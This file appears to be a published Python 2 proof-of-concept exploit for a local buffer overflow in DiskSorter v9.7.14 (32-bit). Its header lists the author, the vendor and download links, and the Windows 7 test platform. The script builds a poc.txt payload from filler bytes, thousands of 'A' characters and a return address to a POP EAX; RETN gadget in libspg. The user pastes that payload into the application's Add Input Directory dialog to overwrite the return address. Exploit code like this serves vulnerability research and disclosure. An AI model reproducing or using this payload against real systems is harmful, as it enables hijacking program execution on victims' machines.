#!/usr/bin/python ###################################### # Exploit Title: DiskSorter v9.7.14 - Input Directory Local Buffer Overflow - PoC # Date: 25 May 2017 # Exploit Author: n3ckD_ # Vendor Homepage: http://www.disksorter.com/ # Software Link: http://www.disksorter.com/setups/disksorter_setup_v9.7.14.exe # Version: Disk Sorter v9.7.14 (32-Bit) # Tested on: Windows 7 Enterprise SP1 (Build 7601) # Usage: Run the exploit, copy the text of the poc.txt into the 'Inputs -> Add Input Directory' dialog ###################################### print "DiskSorter v9.7.14 (32-Bit) - Input Directory Local Buffer Overflow - PoC" print "Copy the text of poc.txt into the 'Inputs -> Add Input Directory' dialog" # in libspg:.text # 10147C1C 58 POP EAX # 10147C1D C3 RETN ret = "\x1c\x7c\x14\x10" nops = "\x47\x4F"*24 buf = nops + "A"*4048 + ret + "MAGIC" + "\n" f = open("poc.txt","w") f.write(buf) f.close()